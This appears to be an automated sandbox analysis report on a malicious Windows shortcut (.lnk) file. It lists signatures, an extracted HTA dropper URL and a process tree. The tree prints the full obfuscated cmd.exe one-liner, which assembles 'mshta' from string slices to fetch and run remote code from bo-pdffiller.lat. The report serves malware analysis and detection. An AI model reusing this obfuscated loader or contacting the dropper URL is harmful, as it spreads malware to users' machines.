Analysis

  • max time kernel
    148s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:10

General

  • Target
    DOC-X3ABYP.lnk
  • Size 2KB
  • Sample260803-qerm5aygra
  • SHA256 632048f3732e1031dbff5a45b28c4841bf07f6e4fcc6a37c6f0e0b5f6aac3228
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-X3ABYP.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set oRnrk=cfgtkcecfg&&set jFO=logapmnyvlog&&set GS=sysqurvywsys&&set vpj=sysdqydfyhsys&&set oM=infnjdxtrhwwainf&&set dPel=netoemvqtntfswyunet&&set bNl=dbgefaovmactxspdbg&&set LU=sysprjqibrzzxaldryarsys&&set TbX=winsmkdnwin&&set rZlti=vstvfr&&set GFcCC=uars&&set Ow=sytn&&set Lesq=tmpqairrvpblbwbtmp&&set UUC=infvqfpzzdwfyjgqogcfeinf&&set cRgi=tmplsqvrnrrrmmhrtmp&&set JeH=mf6m5i&&set FEQW=k5shtmd&&set jtSCp=4cva7o&&set dAz=h@t@tps://b@o@-p@dff@i@ller@.@lat/h@/@est@a@g@[email protected]@p@?@r@=360761@F@157@94&&start /b !JeH:~3,1!!FEQW:~2,3!!jtSCp:~3,1! !dAz:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\System32\mshta.exe
        mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:3392

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads